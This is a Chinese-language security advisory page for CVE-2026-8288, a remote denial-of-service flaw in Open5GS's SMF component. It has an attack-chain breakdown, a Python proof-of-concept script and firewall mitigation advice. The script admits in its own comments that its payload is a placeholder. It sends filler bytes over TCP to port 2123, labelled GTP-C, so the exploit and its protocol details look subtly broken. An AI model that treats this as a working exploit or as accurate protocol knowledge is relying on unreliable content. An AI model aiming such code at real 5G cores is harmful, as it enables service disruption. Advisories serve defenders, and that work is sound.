IPBUF安全漏洞报告
English
CVE-2026-8288 CVSS 4.3 中危

CVE-2026-8288 Open5GS拒绝服务漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-8288
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GS5G核心网DoSCVE-2026-8288

漏洞概述

Open5GS 2.7.7及更早版本存在安全漏洞,位于SMF组件的`gsm-handler.c`文件中。攻击者可通过网络远程操纵`n1SmMsg`参数,导致系统在处理PDU会话修改请求时崩溃,引发拒绝服务。该漏洞利用门槛较低,严重威胁5G核心网可用性,目前官方修复补丁待合并。

技术细节

漏洞核心在于Open5GS SMF组件中`src/smf/gsm-handler.c`文件的`gsm_handle_pdu_session_modification_qos_flow_descriptions`函数。该函数负责处理PDU会话修改请求中的QoS流描述,但在解析`n1SmMsg`参数时存在逻辑缺陷。攻击者可以利用该缺陷,通过发送精心构造的恶意消息,操纵`n1SmMsg`的数据结构。当SMF尝试处理畸形的QoS描述时,会触发空指针解引用或缓冲区越界等异常,导致进程意外终止。由于该漏洞允许远程利用(AV:N)且不需要用户交互(UI:N),一旦攻击成功,将直接导致5G核心网中的会话管理服务瘫痪,造成大范围的拒绝服务。目前相关PoC及Metasploit模块已公开,攻击风险较高。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别运行Open5GS 2.7.7及以下版本的目标服务器,特别是SMF组件暴露的接口。
STEP 2
武器化
攻击者构造特制的PDU会话修改请求数据包,其中包含针对`n1SmMsg`参数的恶意载荷,旨在触发解析逻辑错误。
STEP 3
交付
攻击者通过网络将恶意数据包发送给目标Open5GS的SMF组件。
STEP 4
利用
SMF组件在处理该请求时,调用存在漏洞的函数,解析畸形的`n1SmMsg`参数,导致进程崩溃或异常挂起。
STEP 5
影响
SMF服务停止响应,导致无法建立或修改PDU会话,最终造成5G核心网部分服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-8288 (Open5GS DoS) # This script demonstrates how to send a malformed PDU Session Modification Request. # It targets the 'n1SmMsg' parameter to trigger a crash in Open5GS SMF. import socket import struct def create_malformed_n1sm_msg(): # Craft a payload that manipulates the n1SmMsg argument # Specific bytes depend on the internal structure expected by gsm_handle_pdu_session_modification_qos_flow_descriptions # This is a placeholder for the actual malicious buffer structure header = b'\x00' * 5 # Dummy header # Malicious payload designed to trigger the vulnerability payload = b'\x41' * 100 + b'\x00' * 4 return header + payload def send_exploit(target_ip, target_port): try: # Create a TCP socket (assuming GTP-C or similar interface) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Send the malicious PDU Session Modification Request exploit_data = create_malformed_n1sm_msg() s.send(exploit_data) print(f"[+] Exploit sent to {target_ip}:{target_port}") # Check if service is still responsive (optional) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 2123 # Default GTP-C port, adjust as necessary print("[*] CVE-2026-8288 PoC Execution") send_exploit(TARGET_IP, TARGET_PORT)

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
建议暂时在防火墙中限制对Open5GS SMF组件(端口通常为2123/GTP-C或相关HTTP接口)的外部访问,仅允许可信的内部网元(如AMF、gNodeB)进行连接。同时,密切监控SMF进程的运行状态和日志,一旦发现异常崩溃,应及时排查并重启服务。

参考链接